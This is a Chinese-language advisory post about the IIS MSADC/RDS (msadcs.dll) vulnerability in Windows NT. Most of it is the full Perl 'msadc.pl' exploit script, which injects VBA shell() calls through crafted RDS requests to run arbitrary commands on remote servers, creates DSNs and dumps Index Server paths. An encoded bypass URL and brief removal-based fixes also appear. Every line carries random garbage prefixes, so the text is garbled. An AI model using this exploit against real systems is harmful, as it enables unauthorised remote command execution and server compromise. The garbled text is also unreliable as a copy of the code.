IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
I) ` +:+P [s]$& 涉及程序：
:fL7"\
pf~ Microsoft NT server
K.wRz/M& g 1irSI,j%z 描述：
>5kz#|@P 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
F5cN F 5 5,^DT15a4P 详细：
G,?a8( 如果你没有时间读详细内容的话，就删除:
A_U=`M=- c:\Program Files\Common Files\System\Msadc\msadcs.dll
XtZd%
#2}, 有关的安全问题就没有了。
ibQ
xL3 +kYp !00 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
]k]b Lyz\J B1~`*~@
1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
K*DH_\SPK 关于利用ODBC远程漏洞的描述，请参看:
=,N"% } E kq( http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm "k @[7
7 qQDe'f~ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
965 x _
% http://www.microsoft.com/security/bulletins/MS99-025faq.asp >Q@y8*E\F ?32~%?m 这里不再论述。
Myg;2 . *`w>\}, su 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
m`8{arz2 J>T98y/)) /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
JS m7-p|E 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
0H4|}+e )Z/w| 5 < P
nE7} #将下面这段保存为txt文件，然后: "perl -x 文件名"
9{A4> $#5 'c+0 #!perl
aL&egM* #
vO9=CCxvq # MSADC/RDS 'usage' (aka exploit) script
Y0lLO0' #
>S } X)4 # by rain.forest.puppy
hwe6@T.# #
Pb T2-
F_ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
\Q}Y "oq # beta test and find errors!
U.~G{H`G,u O-p`9( _m use Socket; use Getopt::Std;
DN=W2MEfc getopts("e:vd:h:XR", \%args);
=kwz3Wv w$iPFZC' print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
:qj^RcmVPL # =y)Wuo= if (!defined $args{h} && !defined $args{R}) {
ESoC7d&.K{ print qq~
tx<^PV2 Usage: msadc.pl -h <host> { -d <delay> -X -v }
hVB(*WA^D -h <host> = host you want to scan (ip or domain)
3p HI+a -d <seconds> = delay between calls, default 1 second
?nL,Otz -X = dump Index Server path table, if available
L58H)V3Pn -v = verbose
5p~5-_JX -e = external dictionary file for step 5
p JF
9Z _>`9]6\& Or a -R will resume a command session
;J+iwS*Z s Ad b0 A ~; exit;}
i; ]0>g4
MYVVI1A $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
*u|1Z%XO if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
PPG+~.7 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
|n;);T( if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
a;;
E s $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
9\Ff z& if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
~QUNR?h 4*f+np if (!defined $args{R}){ $ret = &has_msadc;
L{IMZ+IB2| die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
6l4= ^ b5+A6? print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Io
IhQ . "cmd /c ";
<uF j5. $in=<STDIN>; chomp $in;
g ^|R;s{ $command="cmd /c " . $in ;
v8C( $<3% /=za
m3kd if (defined $args{R}) {&load; exit;}
$u , 6x~> Ici4y*`M print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
|/xA5_-N &try_btcustmr;
~};q/-[r hfb u+w): print "\nStep 2: Trying to make our own DSN...";
{0,6- dd5 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
G, <d;: T3=h7a %= print "\nStep 3: Trying known DSNs...";
[x,
`)Fk &known_dsn;
H2[0@|<< fH9"sBiO print "\nStep 4: Trying known .mdbs...";
Ex]Ku &known_mdb;
:'q$emtY 4/ *@cW if (defined $args{e}){
0'A"]6 print "\nStep 5: Trying dictionary of DSN names...";
|[#Qk 4Ttf &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
OUwnVAZZ6 [+A]E,pv]1 print "Sorry Charley...maybe next time?\n";
WB'1_a exit;
{=d}04i)E" x.pg3mVd> ##############################################################################
J1gnR $A,YQH+ sub sendraw { # ripped and modded from whisker
i E;F= Rb sleep($delay); # it's a DoS on the server! At least on mine...
oVp/EQ my ($pstr)=@_;
8#,_%<?UVy socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Au)~"N~p? die("Socket problems\n");
` wj' if(connect(S,pack "SnA4x8",2,80,$target)){
M(\{U"%@? select(S); $|=1;
|XQ_ 4{ print $pstr; my @in=<S>;
Pz
D30VA select(STDOUT); close(S);
QAo/d4 return @in;
]3 GO_tL } else { die("Can't connect...\n"); }}
?9 eiT: 2 /4 K d ##############################################################################
tD#) zHNBX
Rx sub make_header { # make the HTTP request
/G]/zlUE my $msadc=<<EOT
RTg\c[=w POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
S^D@8<6GJ User-Agent: ACTIVEDATA
oXk6,b" Host: $ip
jvR(e" Content-Length: $clen
v/~&n Connection: Keep-Alive
8[AU`F8W " G*$# ADCClientVersion:01.06
S"^'ksL\ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
)J+ OyR=
}#&[[}@th --!ADM!ROX!YOUR!WORLD!
T ]/> c Content-Type: application/x-varg
#k &#d9} Content-Length: $reqlen
}z9v *C &ZFHWI(P EOT
@}PX:*c ; $msadc=~s/\n/\r\n/g;
:YkAp9civ return $msadc;}
{=&( { cS =\ 5f_g2M ##############################################################################
G[u6X_Q yEh{9S%6p sub make_req { # make the RDS request
n dN* X' my ($switch, $p1, $p2)=@_;
@\o Z2sB my $req=""; my $t1, $t2, $query, $dsn;
hiV!/}'7 }{,Wha5\n if ($switch==1){ # this is the btcustmr.mdb query
up8d3 $query="Select * from Customers where City=" . make_shell();
6,~ 1^g* $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
7l*vmF6Z $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
U6H3T0# /f oI.S elsif ($switch==2){ # this is general make table query
D(<0tU^[ $query="create table AZZ (B int, C varchar(10))";
W)o*$c u $dsn="$p1";}
B2LXF3#/ y |0/;SjV elsif ($switch==3){ # this is general exploit table query
p0CPeH $query="select * from AZZ where C=" . make_shell();
a[rb-Z $dsn="$p1";}
;0 +Dx~ 0/!0W% f[} elsif ($switch==4){ # attempt to hork file info from index server
@6R6.i5d $query="select path from scope()";
p9 \*n5{ $dsn="Provider=MSIDXS;";}
<|G!Qn?2- {w"Cr0F, elsif ($switch==5){ # bad query
E vY^]M_U $query="select";
`@ ,Vbn^_ $dsn="$p1";}
{<}Hut:a \WdSj $t1= make_unicode($query);
c`S +>: $t2= make_unicode($dsn);
v,~f G>Y} $req = "\x02\x00\x03\x00";
+`m I\+y, $req.= "\x08\x00" . pack ("S1", length($t1));
2Ir*}s2{ $req.= "\x00\x00" . $t1 ;
e$Yvy>I'tS $req.= "\x08\x00" . pack ("S1", length($t2));
fJk'5kv $req.= "\x00\x00" . $t2 ;
Sj/v: $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
2w+4B4 return $req;}
s?9Y3]&+&M 8gt*`]I ##############################################################################
Bzt:9hr6BO N. nGez sub make_shell { # this makes the shell() statement
ZpBP#Y* return "'|shell(\"$command\")|'";}
{+{ p. xA2I+r*o ##############################################################################
Q 9 f5} "8U=0 a sub make_unicode { # quick little function to convert to unicode
uz$p' Q my ($in)=@_; my $out;
{wz_n gQ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
EDnZ/)6Gg return $out;}
p__N6a rL+.3ZO):P ##############################################################################
{
JDD"z H~Uy/22aQy sub rdo_success { # checks for RDO return success (this is kludge)
\K%M.>]vq my (@in) = @_; my $base=content_start(@in);
1L7^g* if($in[$base]=~/multipart\/mixed/){
:Zob"*T return 1 if( $in[$base+10]=~/^\x09\x00/ );}
6<5:m:KE return 0;}
]Z=al`- v7#|% ##############################################################################
[[N${ C % " l; sub make_dsn { # this makes a DSN for us
Gp)J[8j my @drives=("c","d","e","f");
lt2MB# print "\nMaking DSN: ";
Nx*1m
BC foreach $drive (@drives) {
q*a~9.i @ print "$drive: ";
"VoufXM: my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
;g2UIb?{6 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
+7_U( |gO . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
]Z85%q^` $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
B~ & }Mv return 0 if $2 eq "404"; # not found/doesn't exist
!
jDopE0L if($2 eq "200") {
D8Mq '$- foreach $line (@results) {
9pS:#hg return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
i -@V } return 0;}
@k'V`ZQF ^ f"|<r ##############################################################################
T VSCjI Ux= B*m1@{ sub verify_exists {
a +~b3 my ($page)=@_;
k:@N6K/$P^ my @results=sendraw("GET $page HTTP/1.0\n\n");
/<k 5"C% z return $results[0];}
%Kp^wf#o9 :kwDa
a ##############################################################################
E
GZiWBr 1:@ScHS sub try_btcustmr {
$T7 qd
my @drives=("c","d","e","f");
Nvh& =%{g my @dirs=("winnt","winnt35","winnt351","win","windows");
>w.%KVBJ Z6Kp-z(l3 foreach $dir (@dirs) {
@B(E&
print "$dir -> "; # fun status so you can see progress
F :Ps> foreach $drive (@drives) {
L=C#E0{i print "$drive: "; # ditto
:!?Fq/! $reqlen=length( make_req(1,$drive,$dir) ) - 28;
t6\--lk_ $reqlenlen=length( "$reqlen" );
#mK?:O\-1 $clen= 206 + $reqlenlen + $reqlen;
Gui[ /iY,F uf (_<~ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Lz:FR* if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
%4YSuZg else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
EQ :>]O -Xw S?* O ##############################################################################
%,ScGQE E m +&I sub odbc_error {
Rxl v: my (@in)=@_; my $base;
+`ov1h my $base = content_start(@in);
SK 5]7C2 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
|m@>AbR5dk $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
+StsSZ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
8?: 2< $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
+|5 O b return $in[$base+4].$in[$base+5].$in[$base+6];}
.4$F~!aj9 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
V*Xr}FE print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
;<GxonIV $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
YmjA!n Eelv i5 ##############################################################################
m@w469&<(q RQ^
\| +_ sub verbose {
@'?gan#( my ($in)=@_;
a69e^;,>q return if !$verbose;
se=^K#o print STDOUT "\n$in\n";}
:h3n[% u$(ei2f ##############################################################################
({!H () j?k| -0 sub save {
~ 3f|-%Z my ($p1, $p2, $p3, $p4)=@_;
gOah5*Lj open(OUT, ">rds.save") || print "Problem saving parameters...\n";
EN}XIa>R print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
tXZMr close OUT;}
T3 4Z#PFwe oj)(.X<8N ##############################################################################
@M'qi =s* @v& s|X ' sub load {
A:yql`&s my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
h.l.da1# open(IN,"<rds.save") || die("Couldn't open rds.save\n");
y
c 8 h}` @p=<IN>; close(IN);
,\a L v
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
eQ n[ $target= inet_aton($ip) || die("inet_aton problems");
}Ya! [tX print "Resuming to $ip ...";
0)
F\aJ4Y $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
imAOYEH7} if($p[1]==1) {
&}pF6eIar $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
UK*v\TMv $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
4*5 e0:O my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
WXDo`_{R if (rdo_success(@results)){print "Success!\n";}
"Ehh9 m1& else { print "failed\n"; verbose(odbc_error(@results));}}
KtH^k&z.f elsif ($p[1]==3){
zpeCT3Q5O if(run_query("$p[3]")){
d~h;|Bl[ print "Success!\n";} else { print "failed\n"; }}
u=vBjaN2_w elsif ($p[1]==4){
gG}H5uN if(run_query($drvst . "$p[3]")){
E'( nJ print "Success!\n"; } else { print "failed\n"; }}
ZU +_nWnl exit;}
p|dn &<kd Hz==,NR-W ##############################################################################
#:/27 FH$q,BI!R sub create_table {
_G'A]O/BZD my ($in)=@_;
6KXW]a ` $reqlen=length( make_req(2,$in,"") ) - 28;
c14d0x{ $reqlenlen=length( "$reqlen" );
B
I3fk $clen= 206 + $reqlenlen + $reqlen;
<hTHY E= my @results=sendraw(make_header() . make_req(2,$in,""));
r3-<~k- return 1 if rdo_success(@results);
P B5h5eX my $temp= odbc_error(@results); verbose($temp);
.]JIo&>5 return 1 if $temp=~/Table 'AZZ' already exists/;
H270)Cwn+ return 0;}
k*\)z \f 4gNN " ##############################################################################
J]{<Z?% :M f8q!Q' sub known_dsn {
-o{ x
;:4 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
n"D` = my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
=NI?Jk*iAq "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
fqq4Qc)#U& "banner", "banners", "ads", "ADCDemo", "ADCTest");
hiA\~}sl n D i4GaKa/ foreach $dSn (@dsns) {
>w,jaQ print ".";
M+HhTW;I= next if (!is_access("DSN=$dSn"));
X u HR if(create_table("DSN=$dSn")){
Wi>m}^}9 print "$dSn successful\n";
v-q-CI? B# if(run_query("DSN=$dSn")){
6akI5\b print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
"19#{yX 4 print "Something's borked. Use verbose next time\n";}}} print "\n";}
*F Zav2]- lz36;Fp ##############################################################################
8~s0%%{,M d,Oagx sub is_access {
WVOj ;c my ($in)=@_;
%iEdU V\$ $reqlen=length( make_req(5,$in,"") ) - 28;
]7yxXg $reqlenlen=length( "$reqlen" );
3(,m(+J[S $clen= 206 + $reqlenlen + $reqlen;
tY!l}:E[ my @results=sendraw(make_header() . make_req(5,$in,""));
ud BIEW,` my $temp= odbc_error(@results);
J[hmY= , verbose($temp); return 1 if ($temp=~/Microsoft Access/);
'g'RXC}D> return 0;}
c _M[>#` jWi~Q o + ##############################################################################
Bmcc SC;o4 :
xggo sub run_query {
x|dP-E41\ my ($in)=@_;
qBh@^GxY), $reqlen=length( make_req(3,$in,"") ) - 28;
o$+R $reqlenlen=length( "$reqlen" );
-1v9 $clen= 206 + $reqlenlen + $reqlen;
r Dlu& my @results=sendraw(make_header() . make_req(3,$in,""));
Q JrXn6` return 1 if rdo_success(@results);
rwP)TJh" my $temp= odbc_error(@results); verbose($temp);
eB1NM<V return 0;}
D M+MBK
I9>vm] ##############################################################################
&0%Z b~ts F --b,, sub known_mdb {
j%-Ems*H my @drives=("c","d","e","f","g");
\ERxr
my @dirs=("winnt","winnt35","winnt351","win","windows");
F8{gJaP x my $dir, $drive, $mdb;
/#(IV_Eol my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
k} &wy oq!\100 # this is sparse, because I don't know of many
K\XQ E50 my @sysmdbs=( "\\catroot\\icatalog.mdb",
:( m, 06K "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
]y=U"g "\\system32\\certmdb.mdb",
?Fn y_{&^H "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
9lR6:}L 7 &| ne!wu my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
V:J|shRo "\\cfusion\\cfapps\\forums\\forums_.mdb",
'q |"+; "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Us'JMZ ~ "\\cfusion\\cfapps\\security\\realm_.mdb",
z~3ubta8(@ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
a{^z= = "\\cfusion\\database\\cfexamples.mdb",
]w _&%mB "\\cfusion\\database\\cfsnippets.mdb",
26nwUNak "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
t=@d`s:R2 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
kc P ZIP: "\\cfusion\\brighttiger\\database\\cleam.mdb",
W)/f5[L "\\cfusion\\database\\smpolicy.mdb",
9< 07# 8c. "\\cfusion\\database\cypress.mdb",
e@0|fB%2 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
knG :6 tQ "\\website\\cgi-win\\dbsample.mdb",
Q[K$f %> "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
1+N'cB!y "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
i7r)9 ^y ); #these are just
8Nyz{ T[ foreach $drive (@drives) {
'iZwM>l\ foreach $dir (@dirs){
[ij) k@. foreach $mdb (@sysmdbs) {
\ moLQ print ".";
LTo!DUi` if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
U+ ik& R# print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
xt pY * if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
m?B=?;B9# print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Fs $FR-x } else { print "Something's borked. Use verbose next time\n"; }}}}}
|gP) lR *P/A&"i[E foreach $drive (@drives) {
l9=Ka{$^* foreach $mdb (@mdbs) {
S|k@D2k= print ".";
9c k"JMla if(create_table($drv . $drive . $dir . $mdb)){
Dbj?l;'1 print "\n" . $drive . $dir . $mdb . " successful\n";
- bOtF% if(run_query($drv . $drive . $dir . $mdb)){
CkNR{?S print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
yx-"&K=` } else { print "Something's borked. Use verbose next time\n"; }}}}
:LNZC,-f}5 }
Is3Y>oX cyB+(jLHDs ##############################################################################
XIb xi #TR!x,Hc sub hork_idx {
*K$a;2WjzG print "\nAttempting to dump Index Server tables...\n";
hp2E! C ma print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
bF_0',W $reqlen=length( make_req(4,"","") ) - 28;
$poIWJM c $reqlenlen=length( "$reqlen" );
gAsmPI.K $clen= 206 + $reqlenlen + $reqlen;
Qu=b -9 my @results=sendraw2(make_header() . make_req(4,"",""));
}( Fmr7%m if (rdo_success(@results)){
!]g[u3O my $max=@results; my $c; my %d;
U+B"$yBR for($c=19; $c<$max; $c++){
*k,3@ _5 $results[$c]=~s/\x00//g;
yLfyLyO L $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
E Zf|>^N $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
9D=X3{be# $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
/ZabY $d{"$1$2"}="";}
|g^YD;9s. foreach $c (keys %d){ print "$c\n"; }
*kK +Nvt8s } else {print "Index server doesn't seem to be installed.\n"; }}
l9eTghLi UsU
Ri ##############################################################################
9(S=0< ';Nc ;9 sub dsn_dict {
H@wjZ;R open(IN, "<$args{e}") || die("Can't open external dictionary\n");
yy8BkG( while(<IN>){
t8 55 | $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
gsM$VaF( next if (!is_access("DSN=$dSn"));
T$2A2gb ` if(create_table("DSN=$dSn")){
y< dBF[ print "$dSn successful\n";
x
zF if(run_query("DSN=$dSn")){
Y B4
ZI print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
OQ_< V xz print "Something's borked. Use verbose next time\n";}}}
W? 4:sLC#3 print "\n"; close(IN);}
2(3Q#3V YB 7A5 ##############################################################################
KP0(w(q + ,)k@OI sub sendraw2 { # ripped and modded from whisker
(VN'1a ( sleep($delay); # it's a DoS on the server! At least on mine...
oz{X"jfu my ($pstr)=@_;
<>n|_6'$90 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
7i xG{yu die("Socket problems\n");
kDm uj>D if(connect(S,pack "SnA4x8",2,80,$target)){
vqf}( /.D print "Connected. Getting data";
}[PwA[k' open(OUT,">raw.out"); my @in;
[3-u7Fx! select(S); $|=1; print $pstr;
.Er +*j;&w while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
1/:vFX close(OUT); select(STDOUT); close(S); return @in;
*l LCH, } else { die("Can't connect...\n"); }}
URm< Ji ?_AX;z ##############################################################################
8i73 iTg( Z9 ws{8@_ sub content_start { # this will take in the server headers
CUpRtE8@[_ my (@in)=@_; my $c;
Y iuV\al for ($c=1;$c<500;$c++) {
b~>@x { if($in[$c] =~/^\x0d\x0a/){
1=IOio4U if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
U
^O4HJ else { return $c+1; }}}
2Q@n a @s return -1;} # it should never get here actually
wn_
>Vi1 fuA]
y4A ##############################################################################
MYa ra;k ` {Oqb sub funky {
Wq}6RdY$ZA my (@in)=@_; my $error=odbc_error(@in);
-w C}JVVcK if($error=~/ADO could not find the specified provider/){
w ]T_%mdk print "\nServer returned an ADO miscofiguration message\nAborting.\n";
|#cqxr " exit;}
GOA
dhh- if($error=~/A Handler is required/){
g_l -@ print "\nServer has custom handler filters (they most likely are patched)\n";
_7:Bxx4B exit;}
=*ErN if($error=~/specified Handler has denied Access/){
h~
_i::vg
print "\nServer has custom handler filters (they most likely are patched)\n";
!+@70|gFF exit;}}
g]z k` R5 B!quj!A ##############################################################################
<`v XyP A6 RY)x"\D sub has_msadc {
,|\\C 6s my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
`g 1?Q4h my $base=content_start(@results);
yc7b%T*Y return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
BWYv.& =( return 0;}
jMI30 p{GO-gE@ ########################
_UkBOJ:G$H [>p!*%m (
EJ1g^|" 解决方案：
;5\'PrE 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
0~ $9z+S 2、移除web 目录: /msadc
